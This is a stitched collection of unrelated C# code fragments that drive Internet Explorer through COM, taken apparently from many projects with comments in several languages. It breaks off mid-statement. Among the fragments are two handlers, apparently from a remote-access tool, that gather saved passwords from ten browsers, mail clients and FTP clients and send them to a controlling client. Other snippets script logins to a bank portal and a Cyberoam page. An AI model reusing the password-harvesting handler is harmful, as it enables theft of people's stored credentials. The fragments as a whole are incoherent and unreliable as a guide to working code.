public void SetSite(object pUnkSite) { // 释放之前的COM对象。 if (this.site != null) { Marshal.ReleaseComObject(this.site); } if (this.explorer != null) { Marshal.ReleaseComObject(this.explorer); this.explorer = null; } // pUnkSite是一个实现IOleWindowSite对象的指针。 this.site = pUnkSite as NativeMethods.IInputObjectSite; if (this.site != null) { // site实现了IServiceProvider接口并可以被用来获取InternetExplorer实例。 var provider = this.site as NativeMethods._IServiceProvider; Guid guid = new Guid("{0002DF05-0000-0000-C000-000000000046}"); Guid riid = new Guid("{00000000-0000-0000-C000-000000000046}"); try { object webBrowser; provider.QueryService(ref guid, ref riid, out webBrowser); this.explorer = webBrowser as InternetExplorer; } catch (COMException) { } } }
public InternetExplorer GetIEBrowser(string processName, string url) { Process[] pList = Process.GetProcessesByName(processName); foreach (Process proc in pList) { if (proc.ProcessName == processName) { ShellWindows m_IEFoundBrowsers = new ShellWindowsClass(); foreach (InternetExplorer Browser in m_IEFoundBrowsers) { string chkUrl = Browser.LocationURL; if (chkUrl == url) { if (Browser.HWND == (int)proc.MainWindowHandle) { _IE = Browser; return(Browser); break; } } } } } return(null); }
public IEOperateCore(string url) { IE = InternetExplorerFactory.GetInternetExplorer(url); HWND = new IntPtr(IE.HWND); int loopCount = 0; while (IE.ReadyState != tagREADYSTATE.READYSTATE_COMPLETE) { try { dom = (HTMLDocumentClass)IE.Document; } catch (Exception) { Thread.Sleep(1000); continue; } if (dom.readyState.Equals("complete")) { break; } if (loopCount > 2000) { throw new Exception("open " + url + " timeout!"); } Thread.Sleep(500); loopCount++; } }
//ie 프로세스 생성 private void makeIeProcess(string url) { /* * have to check resolution * basic resolution : 800 x 600 * */ url = checkUrl(macroString.Substring(macroString.IndexOf("=") + 1)); Console.WriteLine(url); if (ie == null) { ie = new InternetExplorer(); webBrowser = (SHDocVw.WebBrowser)ie; webBrowser.Visible = true; ie.Left = 0; ie.Top = 0; ie.Height = int.Parse(browserXSizeTextbox.Text); ie.Width = int.Parse(browserYSizeTextbox.Text); } //User-Agent: Mozilla / 5.0(Linux; U; Android 2.2) AppleWebKit / 533.1(KHTML, like Gecko) Version / 4.0 Mobile Safari/ 533.1" // "User-Agent: Mozilla/7.0(Linux; Android 7.0.0; SGH-i907) AppleWebKit/664.76 (KHTML, like Gecko) Chrome/87.0.3131.15 Mobile Safari/664.76 (Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; rv:11.0) like Gecko" log.Debug("navigate2 start"); ie.Navigate2(url, null, null, null, null); log.Debug("navigate2 complete"); ie.Wait(); prevUrl = url; log.Debug("wait complete"); }
public static string GetWebPageContentUnSafe(string uri, ILog logger) { AssertStaApartmentState(); InternetExplorer internetExplorer = null; try { internetExplorer = GetInternetExplorer(logger); //Navigate to page internetExplorer.Navigate(uri); while (internetExplorer.ReadyState != tagREADYSTATE.READYSTATE_COMPLETE) { Thread.Sleep(100); logger.Info($"Waiting for '{uri}' to complete loading..."); } logger.Info($"Done loading '{uri}'!"); var document = internetExplorer.Document; var parentWindow = document.parentWindow; parentWindow.execScript("var JSIEVariable = new XMLSerializer().serializeToString(document);", "javascript"); var parentWindowType = parentWindow.GetType(); var contentObject = parentWindowType.InvokeMember("JSIEVariable", BindingFlags.GetProperty, null, parentWindow, null); var html = contentObject.ToString(); return(html); } finally { internetExplorer?.Quit(); } }
private bool GetContainerIdHierarchy(HTMLDocumentClass document, int containerId, ref List <int> parentIds, ref InternetExplorer webBrowser) { IHTMLElementCollection frames = document.getElementsByTagName("iframe"); foreach (HTMLIFrameClass frame in frames) { List <int> list = new List <int>(parentIds); InternetExplorer ie = GetInternetExplorer(frame.contentWindow); if (GetUrlHash(internetExplorerToLocation[ie]) == containerId) { webBrowser = ie; parentIds = list; return(true); } else { list.Add(GetUrlHash(internetExplorerToLocation[ie])); if (GetContainerIdHierarchy((HTMLDocumentClass)ie.Document, containerId, ref list, ref webBrowser)) { parentIds = list; return(true); } } } return(false); }
public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(Edge.GetPasswords()); recovered.AddRange(Outlook.GetSavedPasswords()); recovered.AddRange(Thunderbird.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); List <string> raw = new List <string>(); foreach (RecoveredAccount value in recovered) { string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER); raw.Add(rawValue); } new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client); }
public void SetSite(object pUnkSite) { // Release previous COM objects. if (this.site != null) { Marshal.ReleaseComObject(this.site); } if (this.explorer != null) { Marshal.ReleaseComObject(this.explorer); this.explorer = null; } // pUnkSite is a pointer to object that implements IOleWindowSite. this.site = pUnkSite as NativeMethods.IInputObjectSite; if (this.site != null) { // The site implements IServiceProvider interface and can be used to // get InternetExplorer instance. var provider = this.site as NativeMethods._IServiceProvider; Guid guid = new Guid("{0002DF05-0000-0000-C000-000000000046}"); Guid riid = new Guid("{00000000-0000-0000-C000-000000000046}"); try { object webBrowser; provider.QueryService(ref guid, ref riid, out webBrowser); this.explorer = webBrowser as InternetExplorer; } catch (COMException) { } } }
public void Print(string htmlFilename) { documentLoaded = false; documentPrinted = false; InternetExplorer ie = new InternetExplorer(); ie.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler(ie_DocumentComplete); ie.PrintTemplateTeardown += new DWebBrowserEvents2_PrintTemplateTeardownEventHandler(ie_PrintTemplateTeardown); object missing = Missing.Value; ie.Navigate(htmlFilename, ref missing, ref missing, ref missing, ref missing); while (!documentLoaded && ie.QueryStatusWB(OLECMDID.OLECMDID_PRINT) != OLECMDF.OLECMDF_ENABLED) { Thread.Sleep(100); } ie.ExecWB(OLECMDID.OLECMDID_PRINT, OLECMDEXECOPT.OLECMDEXECOPT_DONTPROMPTUSER, ref missing, ref missing); while (!documentPrinted) { Thread.Sleep(100); } ie.DocumentComplete -= ie_DocumentComplete; ie.PrintTemplateTeardown -= ie_PrintTemplateTeardown; ie.Quit(); }
/// <summary> /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. /// </summary> /// <param name="disposing">True if disposing and false if otherwise.</param> protected override void Dispose(bool disposing) { if (!disposing) { return; } try { if (_browser == null || !AutoClose) { return; } WaitForComplete(); // We cannot allow the browser to close within a second. // I assume that add ons need time to start before closing the browser. var timeout = TimeSpan.FromMilliseconds(1000); while (Uptime <= timeout) { Thread.Sleep(50); } _browser.Quit(); } catch { _browser = null; } }
private void StartFlash(string window) { try { InternetExplorer targetWindow = null; for (int i = 0; i < WindowsInstance.Count; i++) { var tempIe = WindowsInstance.Item(i) as InternetExplorer; if (!IsIeAndNamedWindow(tempIe, window)) { continue; } targetWindow = tempIe; break; } if (targetWindow != null) { uint pid; GetWindowThreadProcessId((IntPtr)targetWindow.HWND, out pid); Process ie = Process.GetProcessById((int)pid); var flash = FlashWindow.Create_FLASHWINFO((IntPtr)targetWindow.HWND, FlashWindow.FLASHW_ALL | FlashWindow.FLASHW_TIMERNOFG, UInt16.MaxValue / 2, 0); //var flash = FlashWindow.Create_FLASHWINFO(ie.MainWindowHandle, FlashWindow.FLASHW_ALL | FlashWindow.FLASHW_TIMERNOFG, UInt16.MaxValue / 2, 0); var hr = FlashWindow.FlashWindowEx(ref flash); var error = Marshal.GetLastWin32Error(); } } catch (Exception ex) { } }
public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client) { var recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); var raw = new List <string>(); for (var i = 0; i < recovered.Count; i++) { var value = recovered[i]; var rawValue = string.Format($"{value.Username}" + $"{DELIMITER}" + $"{value.Password}" + $"{DELIMITER}" + $"{value.URL}" + $"{DELIMITER}" + $"{value.Application}"); raw.Add(rawValue); } new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client); }
public void Export(string fileName, IEnumerable <object> data) { try { string ext = System.IO.Path.GetExtension(fileName).ToLowerInvariant(); if (ext == ".xml") { XmlWriterSettings s = new XmlWriterSettings(); s.Indent = true; using (XmlWriter writer = XmlWriter.Create(fileName)) { writer.WriteStartElement("root"); ExportToXml(writer, data); writer.WriteEndElement(); } InternetExplorer.EditTransform(IntPtr.Zero, fileName); } else if (ext == ".csv") { using (StreamWriter sw = new System.IO.StreamWriter(fileName, false, Encoding.UTF8)) { ExportToCsv(sw, data); } InternetExplorer.OpenUrl(IntPtr.Zero, fileName); } else { throw new Exception("Expecting either .xml or .csv file extension"); } } catch (Exception e) { MessageBoxEx.Show("Error exporting rows\n" + e.Message, "Export Error", MessageBoxButton.OK, MessageBoxImage.Error); } }
/// <summary> /// Create browsers for each type provided. /// </summary> /// <param name="type"> The type of the browser to create. </param> public static IEnumerable <Browser> CreateBrowsers(BrowserType type = BrowserType.All) { var response = new List <Browser>(); if ((type & BrowserType.Chrome) == BrowserType.Chrome) { response.Add(Chrome.Create()); } //if ((type & BrowserType.Edge) == BrowserType.Edge) //{ // response.Add(Edge.Create()); //} if ((type & BrowserType.InternetExplorer) == BrowserType.InternetExplorer) { response.Add(InternetExplorer.Create()); } if ((type & BrowserType.Firefox) == BrowserType.Firefox) { response.Add(Firefox.Create()); } return(response); }
/// <summary> /// Attach or create browsers for each type provided. /// </summary> /// <param name="type"> The type of the browser to attach to or create. </param> public static IEnumerable <Browser> AttachOrCreate(BrowserType type = BrowserType.All) { var response = new List <Browser>(); if ((type & BrowserType.Chrome) == BrowserType.Chrome) { var chrome = Chrome.AttachOrCreate(); response.Add(chrome); } //if ((type & BrowserType.Edge) == BrowserType.Edge) //{ // var edge = Edge.AttachOrCreate(); // response.Add(edge); //} if ((type & BrowserType.InternetExplorer) == BrowserType.InternetExplorer) { var explorer = InternetExplorer.AttachOrCreate(); response.Add(explorer); } if ((type & BrowserType.Firefox) == BrowserType.Firefox) { var firefox = Firefox.AttachOrCreate(); response.Add(firefox); } return(response); }
/// <summary> /// Attach browsers for each type provided. /// </summary> /// <param name="type"> The type of the browser to attach to. </param> public static IEnumerable <Browser> AttachBrowsers(BrowserType type = BrowserType.All) { var response = new List <Browser>(); if ((type & BrowserType.Chrome) == BrowserType.Chrome) { response.Add(Chrome.Attach()); } if ((type & BrowserType.Edge) == BrowserType.Edge) { response.Add(Edge.Attach()); } if ((type & BrowserType.InternetExplorer) == BrowserType.InternetExplorer) { response.Add(InternetExplorer.Attach()); } if ((type & BrowserType.Firefox) == BrowserType.Firefox) { response.Add(Firefox.Attach()); } return(response); }
private void OnBrowse(object sender, RoutedEventArgs e) { if (this.ComboServiceName.SelectedItem is string s && Uri.TryCreate(s, UriKind.Absolute, out Uri uri)) { InternetExplorer.OpenUrl(IntPtr.Zero, uri); } }
public void DisolayBbs(string Url, string storeName) { InternetExplorer IE = StartUpIE(Url); ClickIESearchButton(IE, storeName); IE.Visible = true; }
public bool UpdateWithKeepPin(InternetExplorer ie) { Explorer pinExplorer = null; var newlocationkey = GetLocationKey(ie); if (LocationKey == newlocationkey) { return(false); // パスに変更がない場合は何もしない。 } if (this.IsPined) { pinExplorer = JsonConvert.DeserializeObject <Explorer>(JsonConvert.SerializeObject(this)); } Handle = ie.HWND; Instance = ie; LocationUrl = ie.LocationURL; LocationName = ie.LocationName; LastUpdateDateTime = DateTime.Now; if (pinExplorer != null) { IsPined = false; OnPinLocationChanged(pinExplorer); } return(true); }
public void AttachOrCreate() { using (var browser = InternetExplorer.AttachOrCreate()) { Assert.IsNotNull(browser); } }
void OnShowLogFile(object sender, RoutedEventArgs e) { Hyperlink link = (Hyperlink)sender; Uri uri = link.NavigateUri; InternetExplorer.OpenUrl(IntPtr.Zero, uri.AbsoluteUri); }
public void CreateOneBrowser() { using (var browser = InternetExplorer.Create()) { Assert.IsNotNull(browser); } }
private void webBrowser_NavigateComplete2(object pDisp, ref object URL) { InternetExplorer webBrowser = pDisp as InternetExplorer; List <string> navigations = internetExplorerToNavigations[webBrowser]; string url = URL as string; internetExplorerToLocation[webBrowser] = url; if (!navigations[navigations.Count - 1].Equals(url)) { List <Entry> entries = new List <Entry>(this.entries.Values); foreach (Entry entry in entries) { if (entry.Url.Equals(navigations[navigations.Count - 1])) { Entry tempEntry = entry; List <string> tempNavigations = new List <string>(); while (tempEntry.RedirectedEntry != null) { tempEntry = tempEntry.RedirectedEntry; tempNavigations.Add(tempEntry.Url); } if (tempEntry.Url.Equals(url)) { navigations.AddRange(tempNavigations); break; } } } } }
private bool IsExpectedWindow(InternetExplorer actualWindow, ApplicationWindow expectedWindow) { IntPtr actualHandle = new IntPtr(actualWindow.HWND); bool windowHandleIsCorrect = expectedWindow != null && actualHandle == expectedWindow.Handle; return(windowHandleIsCorrect); }
public override void RunCommand(object sender) { var engine = (AutomationEngineInstance)sender; var webURL = v_URL.ConvertUserVariableToString(engine); InternetExplorer newBrowserSession = new InternetExplorer(); if (!string.IsNullOrEmpty(webURL.Trim())) { try { newBrowserSession.Navigate(webURL); WaitForReadyState(newBrowserSession); newBrowserSession.Visible = true; } catch (Exception ex) { throw ex; } } //add app instance newBrowserSession.AddAppInstance(engine, v_InstanceName); //handle app instance tracking if (v_InstanceTracking == "Keep Instance Alive") { GlobalAppInstances.AddInstance(v_InstanceName, newBrowserSession); } }
void Run() { m_ie = new InternetExplorer(); Console.WriteLine("Visible: {0}", m_ie.Visible); m_ie.Visible = true; // DWebBrowserEvents2_NavigateComplete2EventHandler ncd; // ncd = new DWebBrowserEvents2_NavigateComplete2EventHandler(OnNavigateComplete); // m_ie.NavigateComplete2 += ncd; DWebBrowserEvents2_OnQuitEventHandler qd; qd = new DWebBrowserEvents2_OnQuitEventHandler(OnQuit); m_ie.OnQuit += qd; DWebBrowserEvents2_DocumentCompleteEventHandler dcd; dcd = new DWebBrowserEvents2_DocumentCompleteEventHandler(OnDocumentComplete); m_ie.DocumentComplete += dcd; Object o = null; string url = System.IO.Path.GetFullPath("../../frameset.html"); Console.WriteLine("Navigate({0})", url); m_ie.Navigate(url, ref o, ref o, ref o, ref o); m_quitEvent.WaitOne(); }
/// <summary> /// Gets the current browser. /// </summary> /// <returns></returns> public static IBrowser GetCurrentBrowser() { InternetExplorer ie = new InternetExplorer(); string currentBrowserName = CurrentBrowser; if (currentBrowserName == null) { //default browser return(ie); } List <IBrowser> supportedBrowsers = new List <IBrowser> { ie, new Firefox(), new Chrome() }; IBrowser currentBrowser = supportedBrowsers.SingleOrDefault(x => currentBrowserName.StartsWith(x.Name, StringComparison.OrdinalIgnoreCase)); if (currentBrowser == null) { //default browser return(ie); } currentBrowser.Name = currentBrowserName; return(currentBrowser); }
protected void ExportReportAsCsv() { SaveFileDialog fd = new SaveFileDialog(); fd.CheckPathExists = true; fd.AddExtension = true; fd.Filter = "CSV File (.csv)|*.csv"; fd.FileName = this.GetType().Name; if (fd.ShowDialog(App.Current.MainWindow) == true) { try { string filename = fd.FileName; this.Export(filename); if (System.IO.File.Exists(filename)) { InternetExplorer.OpenUrl(IntPtr.Zero, filename); } } catch (Exception ex) { MessageBoxEx.Show(ex.Message, "Error Exporting .txf", MessageBoxButton.OK, MessageBoxImage.Error); } } }
void bw_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) { progressBar1.MarqueeAnimationSpeed = 0; progressBar1.Style = ProgressBarStyle.Blocks; progressBar1.Value = progressBar1.Minimum; reportTextBox.Text += endAllMacro(ref totalsw); reportTextBox.SelectionStart = reportTextBox.TextLength; reportTextBox.ScrollToCaret(); currentMacroLabel.Text = "현재 진행 명령 : 작업이 중단되었습니다."; processStartButton.Enabled = true; processStopButton.Enabled = true; if (e.Error != null) { reportTextBox.Text += "에러가 발생해서 작업이 중단되었습니다." + Environment.NewLine; } reportTextBox.Text += "작업을 중단했습니다." + Environment.NewLine; worker = null; deleteAllIeProcesses(); ie = null; if (rk != null) { rk.SetValue(null, ""); } //예외처리 필요? }
public bool SwitchToWindow(string url) { var shellWindows = new ShellWindows(); foreach (SHDocVw.WebBrowser webBrowser in shellWindows) { var nameWindow = webBrowser?.Name; if (nameWindow == null) { continue; } if (nameWindow.Contains("Internet")) { var urlWindow = webBrowser?.LocationURL; if (urlWindow == null) { continue; } if (urlWindow.Equals(url)) { Navegador = (InternetExplorer)webBrowser; return(true); } } } return(false); }
private InternetExplorerBrowser(InternetExplorer browser) { _browser = browser; _browser.DocumentComplete += BrowserOnDocumentComplete; _browser.Visible = true; _window = new Window(new IntPtr(_browser.HWND), Name); Attached = true; }
public void waitForBrowsersThrowsExceptionWhenWindowClosesUnexpectedlyTest(string methodName) { InternetExplorer ie = new InternetExplorer(); ie.OpenBrowser(); ProcessKiller killer = new ProcessKiller("iexplore"); killer.KillAsyncDelayed(); ExecutePrivateMethod(ie, methodName); }
public void isBrowserAccessibleThrowsBrowserExistExceptionTest() { InternetExplorer ie = new InternetExplorer(); ie.OpenBrowser(); ProcessKiller killer = new ProcessKiller("iexplore"); killer.KillAsyncDelayed(); ExecutePrivateMethod(ie, "isBrowserAccessible"); }
public void SetSite(object pUnkSite) { if (pUnkSite != null) { ieInstance = pUnkSite as InternetExplorer; ieInstance.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler(ieInstance_DocumentComplete); ieInstance.DownloadComplete += new DWebBrowserEvents2_DownloadCompleteEventHandler(ieInstance_DownloadComplete); } }
public Browser() { ie = new InternetExplorer(); ie.Visible = true; ie.DownloadComplete += new DWebBrowserEvents2_DownloadCompleteEventHandler(ie_DownloadComplete); ie.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler(ie_DocumentComplete); thrdIe = new Thread(CheckIEBusy); thrdIe.SetApartmentState(ApartmentState.STA); thrdIe.Start(); }
public void isBrowserValidReturnsFalseWhenWindowClosesUnexpectedlyTest() { InternetExplorer ie = new InternetExplorer(); ie.OpenBrowser(); ProcessKiller killer = new ProcessKiller("iexplore"); killer.KillAsyncDelayed(); object returnValue = ExecutePrivateMethod(ie, "isBrowserValid"); Assert.IsNotNull(returnValue); bool returned = (bool)returnValue; Assert.IsFalse(returned); }
void Login() { ie = new InternetExplorer(); ie.Visible = true; Navigate("https://direkt.postbank.de/direktportalApp/index.jsp"); var d = Document; var userInput = (IHTMLInputTextElement)d.getElementById("j_username"); userInput.value = user; var passwordInput = (IHTMLInputTextElement)d.getElementById("j_password"); passwordInput.value = password; Navigate("Javascript:Login()"); }
void OpenIE(string url) { //ProcessStartInfo startInfo = new ProcessStartInfo("IExplore.exe"); //startInfo.Arguments = url; //Process process1 = new Process(); //process1.StartInfo = startInfo; //process1.Start(); InternetExplorer ie = new InternetExplorer(); ie.Visible = true; ie.Navigate2(url); }
/// <summary> /// 初始化处理程序. /// </summary> public OpenImageHandler(InternetExplorer host) { this.host = host; contextMenu = new ContextMenuStrip(); menuItem = new ToolStripMenuItem(); menuItem.Size = new Size(180, 100); menuItem.Text = "在新选项卡中打开图像"; menuItem.Click += new EventHandler(menuItem_Click); contextMenu.Items.Add(menuItem); }
public Explorer(InternetExplorer instance) { RegistDateTime = DateTime.Now; Handle = instance.HWND; LocationUrl = instance.LocationURL; LocationName = instance.LocationName; Instance = instance; LastUpdateDateTime = DateTime.Now; IsPined = false; var iename = Path.GetFileNameWithoutExtension(instance.FullName); IsExplorer = iename.ToLower().Equals("explorer"); }
/// <summary> /// Log-into the web application. /// </summary> /// <param name="navigationUrl">The navigation URL.</param> /// <param name="userNameTextBoxID">The user name text box ID.</param> /// <param name="passwordTextBoxID">The password text box ID.</param> public static void Login(string navigationUrl, string userNameTextBoxID, string passwordTextBoxID) { InternetExplorer browser = new InternetExplorer(); object mVal = System.Reflection.Missing.Value; browser.Navigate(navigationUrl, ref mVal, ref mVal, ref mVal, ref mVal); HTMLDocument pageDocument = new HTMLDocument(); System.Threading.Thread.Sleep(2000); pageDocument = (HTMLDocument)browser.Document; LoginInternal(userNameTextBoxID, passwordTextBoxID, pageDocument); browser.Visible = true; }
public void SimulateCOMExceptionWhileKillAllOpenBrowsersExceptWindowTitleIsExecutingDoesNotCrashTest() { InternetExplorer ieBrowser = new InternetExplorer(); try { SetUpKillAllOpenBrowsersCOMExceptionSimulation(ieBrowser); ieBrowser.KillAllOpenBrowsers("facebook"); } finally { new ProcessKiller("iexplore").Kill(); } }
public void Before() { var currentMethod = String.Format("{0}.png", MethodBase.GetCurrentMethod().GetFullName()); var defaultSettings = new Settings(); path = Path.Combine(defaultSettings.ScreenCapturePath, currentMethod); File.Delete(path); var environment = new InternetExplorer(); session = new Session(environment); session.NavigateTo<CheckboxPage>(GetUrl("Checkbox.html")); _returnSession = session.CaptureScreen(); }
public IeWrapper(InternetExplorerDriver parent, InternetExplorer toWrap) { this.parent = parent; browser = toWrap; browser.NewWindow2 += delegate(ref object ppDisp, ref bool Cancel) { InternetExplorer newWindow = new InternetExplorer(); newWindow.Visible = browser.Visible; ppDisp = newWindow; parent.AddWrapper(new IeWrapper(parent, newWindow)); }; Visible = false; }
/// <summary> /// Log-into Cyberoam. /// </summary> public static void LoginCyberRoam() { InternetExplorer browser = new InternetExplorer(); object mVal = System.Reflection.Missing.Value; string googleUrl = @"http://google.com"; browser.Navigate(googleUrl, ref mVal, ref mVal, ref mVal, ref mVal); HTMLDocument pageDocument = new HTMLDocument(); System.Threading.Thread.Sleep(2000); pageDocument = (HTMLDocument)browser.Document; if (pageDocument.title.Contains(CyberoamTitle)) { LoginInternal(CyberoamUserNameControlID, CyberoamPasswordControlID, pageDocument); System.Threading.Thread.Sleep(500); } browser.Visible = false; }
public string Retrieve() { var result = ""; foreach (var browserStep in _steps) { if (!_browserStarted) { _ie = LoadBrowser(); _ie.NavigateComplete2 += (object disp, ref object url) => { _autoResetEvent.Set(); }; _browserStarted = true; } if (TryGetData(browserStep, ref result)) break; } return result; }
/// <summary> /// Called, when the BHO is instantiated and when it is destroyed. /// </summary> /// <param name="site"></param> public void SetSite(Object site) { if (site != null) { explorer = (InternetExplorer)site; string showString = Config.Instance.GetConfig("ShowToolbar"); bool show = true; if(bool.TryParse(showString, out show) == false) { Logger.Log("Cannot parse 'ShowToolbar' config value. value: {0}", showString); } ShowBrowserBar(show); } }
public ExplorerManager(string startPath) { if (!string.IsNullOrEmpty(startPath)) { _workingDirectory = Path.GetDirectoryName(startPath); var shellWindows = new ShellWindows(); foreach (InternetExplorer window in shellWindows) { string explorerLocationPath = new Uri(window.LocationURL).LocalPath; if (_workingDirectory.Equals(explorerLocationPath, StringComparison.InvariantCultureIgnoreCase)) { _explorerWindow = window; break; } } } }
public void Before() { var currentMethod = CallStack.GetCurrentMethod().GetFullName(); const string path = @"C:\Temp"; _filePath = Path.ChangeExtension(Path.Combine(path, currentMethod), "png"); File.Delete(_filePath); var settings = new Settings { ScreenCapturePath = path }; var environment = new InternetExplorer(); _session = new Session(environment, settings); _session.NavigateTo<CheckboxPage>(GetUrl("Checkbox.html")); _returnSession = _session.CaptureScreen(_filePath); }
public BrowserRemotingProxy(System.Windows.Forms.WebBrowser browserControl, string userName, string password) { this.browserControl = browserControl; this.IE = browserControl.ActiveXInstance as InternetExplorer; IServiceProvider sp = this.IE as IServiceProvider; IOleObject oc = IE as IOleObject; oc.SetClientSite(this as IOleClientSite); IntPtr objectProffer = IntPtr.Zero; uint cookie = 0; _userName = userName; _password = password; sp.QueryService(ref SID_SProfferService, ref IID_IProfferService, out objectProffer); theProfferService = Marshal.GetObjectForIUnknown(objectProffer) as IProfferService; theProfferService.ProfferService(ref IID_IAuthenticate, this, out cookie); }
public OpenMenuHandler(InternetExplorer host) { this.ieInstance = host; contextMenu = new ContextMenuStrip(); menuItemAddAuto = new ToolStripMenuItem(); menuItemAddAuto.Size = new Size(180, 100); menuItemAddAuto.Text = "Agregar a 1000Pass.com (Automatico)"; menuItemAddAuto.Click += new EventHandler(AddAutoHandler); contextMenu.Items.Add(menuItemAddAuto); menuItemAddManual = new ToolStripMenuItem(); menuItemAddManual.Size = new Size(180, 100); menuItemAddManual.Text = "Agregar a 1000Pass.com (Manual)"; menuItemAddManual.Click += new EventHandler(AddManualHandler); contextMenu.Items.Add(menuItemAddManual); menuItemUsername = new ToolStripMenuItem(); menuItemUsername.Size = new Size(180, 100); menuItemUsername.Text = "Agregar campo de usuario"; menuItemUsername.Click += new EventHandler(UsernameHandler); contextMenu.Items.Add(menuItemUsername); menuItemPassword = new ToolStripMenuItem(); menuItemPassword.Size = new Size(180, 100); menuItemPassword.Text = "Agregar campo de clave"; menuItemPassword.Click += new EventHandler(PasswordHandler); contextMenu.Items.Add(menuItemPassword); menuItemEnter = new ToolStripMenuItem(); menuItemEnter.Size = new Size(180, 100); menuItemEnter.Text = "Agregar boton de ingresar"; menuItemEnter.Click += new EventHandler(EnterHandler); contextMenu.Items.Add(menuItemEnter); menuItemCancel = new ToolStripMenuItem(); menuItemCancel.Size = new Size(180, 100); menuItemCancel.Text = "Cancelar agregado a 1000Pass.com"; menuItemCancel.Click += new EventHandler(CancelHandler); contextMenu.Items.Add(menuItemCancel); }
public void OpenNewIe(string url, string postData,string tempUrl) { try { var ie = new InternetExplorer(); object vPost, vHeaders, vFlags, vTargetFrame; vPost = null; vFlags = null; vTargetFrame = null; vHeaders = "Content-Type: application/x-www-form-urlencoded" + Convert.ToChar(10) + Convert.ToChar(13); if (!string.IsNullOrEmpty(postData)) vPost = ASCIIEncoding.ASCII.GetBytes(postData); ie.Visible = true; ie.Navigate(url, ref vFlags, ref vTargetFrame, ref vPost, ref vHeaders); } catch { OpenIE(tempUrl); } }
public TestIEPage(TestInternetExplorer browser, InternetExplorer ie) { if (browser == null || ie == null) { throw new CannotGetTestPageException("Browser can not be null."); } try { this._browser = browser; this._internalIE = ie; this._rootDocument = new TestIEDocument(ie.Document as IHTMLDocument2); } catch (TestException) { throw; } catch (Exception ex) { throw new CannotGetTestPageException(ex.ToString()); } }
public IEDriver() { Process m_Proc = Process.Start("IExplore.exe"); try { Thread.Sleep(1000); _IE = null; ShellWindows m_IEFoundBrowsers = new ShellWindowsClass(); foreach(InternetExplorer Browser in m_IEFoundBrowsers) { if(Browser.HWND == (int)m_Proc.MainWindowHandle) { _IE = Browser; break; } } IE.Visible = true; IE.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler(IE_DocumentComplete); m_Proc.Close(); m_Proc.Dispose(); }catch(Exception ex){ _err = ex.Message; CloseAllIE(); } }
/// <summary> /// This method is called when the BHO is instantiated and when /// it is destroyed. The site is an object implemented the /// interface InternetExplorer. /// </summary> /// <param name="site"></param> public void SetSite(Object site) { if (site != null) { ieInstance = (InternetExplorer)site; /*ieInstance.BeforeNavigate2 += new DWebBrowserEvents2_BeforeNavigate2EventHandler( ieInstance_BeforeNavigate2);*/ ieInstance.NavigateComplete2 += new DWebBrowserEvents2_NavigateComplete2EventHandler( ieInstance_NavigateComplete2); ieInstance.DownloadBegin += new DWebBrowserEvents2_DownloadBeginEventHandler( ieInstance_DownloadBegin); ieInstance.DownloadComplete += new DWebBrowserEvents2_DownloadCompleteEventHandler( ieInstance_DownloadComplete); /*ieInstance.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler( ieInstance_DocumentComplete);*/ RegistryKey key = Registry.CurrentUser.OpenSubKey(ConfigKey, false); if (key != null) { NewTabGround = Convert.ToInt32(key.GetValue("NewTabGround")); SearchString = key.GetValue("SearchString").ToString(); } else { NewTabGround = 1; SearchString = "http://www.google.com.hk/search?hl=zh-CN&q={0}"; } key.Close(); //document = ieInstance.Document as HTMLDocument; } }
private void LoginToSite(InternetExplorer internetExplorer) { //if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site17 == null) //{ // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site17 = CallSite<Func<CallSite, object, HTMLDocument>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.Convert(CSharpBinderFlags.None, typeof(HTMLDocument), typeof(ViewEmailAlertPopup))); //} //HTMLDocument htmlDoc = ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site17.Target(ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site17, internetExplorer.Document); //IHTMLElementCollection iHTMLCol = null; //iHTMLCol = htmlDoc.getElementsByTagName("input"); //foreach (IHTMLElement item in iHTMLCol) //{ // if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site18 == null) // { // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site18 = CallSite<Func<CallSite, object, bool>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.UnaryOperation(CSharpBinderFlags.None, ExpressionType.IsTrue, typeof(ViewEmailAlertPopup), new CSharpArgumentInfo[] // { // CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null) // })); // } // Func<CallSite, object, bool> arg_126_0 = ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site18.Target; // CallSite arg_126_1 = 